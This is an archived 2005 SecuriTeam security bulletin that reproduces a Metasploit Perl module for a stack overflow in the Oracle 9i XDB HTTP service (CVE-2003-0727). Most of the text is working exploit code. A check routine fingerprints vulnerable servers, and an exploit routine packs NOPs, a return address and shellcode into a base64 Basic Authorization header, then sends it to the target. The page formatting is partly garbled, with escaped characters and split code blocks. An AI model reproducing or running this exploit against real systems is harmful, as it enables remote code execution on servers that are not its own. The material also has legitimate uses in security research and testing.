

# [EXPL] Oracle XDB HTTP PASS Overflow (Metasploit exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00052.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 19 Dec 2005 13:00:50 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Oracle XDB HTTP PASS Overflow (Metasploit exploit)

---

## SUMMARY

This code exploits a stack overflow in the authorization code of the Oracle 9i HTTP XDB service.

David Litchfield, has illustrated multiple vulnerabilities in the Oracle 9i XML Database (XDB), during a seminar on "Variations in exploit methods between Linux and Windows" presented at the Blackhat conference.

## DETAILS

Vulnerable Systems:

\* Oracle 9i version 9.2.0.1 Universal

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0727>>  
CVE-2003-0727

Exploit

##

# This file is part of the Metasploit Framework and may be redistributed

## [EXPL] Oracle XDB HTTP PASS Overflow (Metasploit exploit)

```
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
```

```
package Msf::Exploit::oracle9i_xdb_http;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
  'Name' => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
  'Version' => '$Revision: 1.1 $',
  'Authors' => [ 'y0 [at] w00t-shell.net', ],
  'Arch' => [ 'x86' ],
  'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
  'Priv' => 0,
  'UserOpts' =>
  {
    'RHOST' => [1, 'ADDR', 'The target address'],
    'RPORT' => [1, 'PORT', 'The target port', 8080],
    'SSL' => [0, 'BOOL', 'Use SSL'],
  },

  'AutoOpts' => { 'EXITFUNC' => 'thread' },
  'Payload' =>
  {
    'Space' => 450,
    'BadChars' => "\x00",
    'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
    'Keys' => ['+ws2ord'],
  },

  'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the authorization
code of the Oracle 9i HTTP XDB service. David Litchfield,
has illustrated multiple vulnerabilities in the Oracle
9i XML Database (XDB), during a seminar on "Variations
in exploit methods between Linux and Windows" presented
at the Blackhat conference.
}),

  'Refs' => [
['BID', '8375'],
['CVE', '2003-0727'],
['URL',
```

## [EXPL] Oracle XDB HTTP PASS Overflow (Metasploit exploit)

<http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf>

],

'DefaultTarget' => 0,

'Targets' => [

['Oracle 9.2.0.1 Universal', 0x60616d46],

],

'Keys' => ['oracle'],

'DisclosureDate' => 'Aug 18 2003',

};

sub new {

my \$class = shift;

my \$self = \$class->SUPER::new({'Info' => \$info, 'Advanced' => \$advanced},

@\_);

return(\$self);

}

sub Check {

my (\$self) = @\_;

my \$target\_host = \$self->GetVar('RHOST');

my \$target\_port = \$self->GetVar('RPORT');

my \$s = Msf::Socket::Tcp->new

(

'PeerAddr' => \$target\_host,

'PeerPort' => \$target\_port,

'LocalPort' => \$self->GetVar('CPORT'),

'SSL' => \$self->GetVar('SSL'),

);

if (\$s->IsError) {

\$self->PrintLine("[\*] Error creating socket: ' . \$s->GetError);

return \$self->CheckCode('Connect');

}

\$s->Send("GET / HTTP/1.0\r\n\r\n");

my \$res = \$s->Recv(-1, 20);

\$s->Close();

if (\$res !~ /9\2\0\1\0/) {

\$self->PrintLine("[\*] This server does not appear to be vulnerable.");

return \$self->CheckCode('Safe');

}

\$self->PrintLine("[\*] Vulnerable installation detected :-)");

return \$self->CheckCode('Detected');

}

[EXPL] Oracle XDB HTTP PASS Overflow (Metasploit exploit)

## [EXPL] Oracle XDB HTTP PASS Overflow (Metasploit exploit)

```
sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $offset = $self->GetVar('OFFSET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}

my $sploit =
"meta:". Pex::Text::LowerCaseText(442). "\xeb\x64\x42\x42".
pack('V', $target->[1]). "wwwwoooottttssshhhllll".
$self->MakeNops(242). "\xeb\x10". $self->MakeNops(109). $shellcode;

my $sploit =
"GET / HTTP/1.1". "\r\n".
"Host: $target_host:$target_port". "\r\n".
"User-Agent: Mozilla/5.0 (X11; U; Linux i686;".
"en-US; rv:1.7.12) Gecko/20050923". "\r\n".
"Accept: text/xml,application/xml,application".
"/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,".
"image/png,*/*;q=0.5". "\r\n".
"Accept-Language: en-us,en;q=0.5". "\r\n".
"Accept-Encoding: gzip,deflate". "\r\n".
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7". "\r\n".
"Keep-Alive: 300". "\r\n".
"Connection: keep-alive". "\r\n".
"Authorization: Basic ". Pex::Text::Base64Encode($sploit, "").
"\r\n\r\n";

$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x",
$target->[0], $target->[1]));

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine("[*] Error creating socket: ' . $s->GetError);
return;
}
}
```

[EXPL] Oracle XDB HTTP PASS Overflow (Metasploit exploit)

[EXPL] Oracle XDB HTTP PASS Overflow (Metasploit exploit)

```
$s->Send($sploit);  
$self->Handler($s);  
$s->Close();  
return;  
}
```

1;

ADDITIONAL INFORMATION

The information has been provided by <<mailto:y0@xxxxxxxxxxxxxxxx>> y0.

Related article can be found at:

<<http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf>>  
<http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



- Prev by Date: [\*\*\[NEWS\] Cisco Clean Access File Upload Authentication Bypass\*\*](#)
- Next by Date: [\*\*\[TOOL\] BETA – Binary Data Encoding Tool\*\*](#)
- Previous by thread: [\*\*\[NEWS\] Cisco Clean Access File Upload Authentication Bypass\*\*](#)
- Next by thread: [\*\*\[TOOL\] BETA – Binary Data Encoding Tool\*\*](#)
- Index(es):
  - ◆ [\*\*Date\*\*](#)
  - ◆ [\*\*Thread\*\*](#)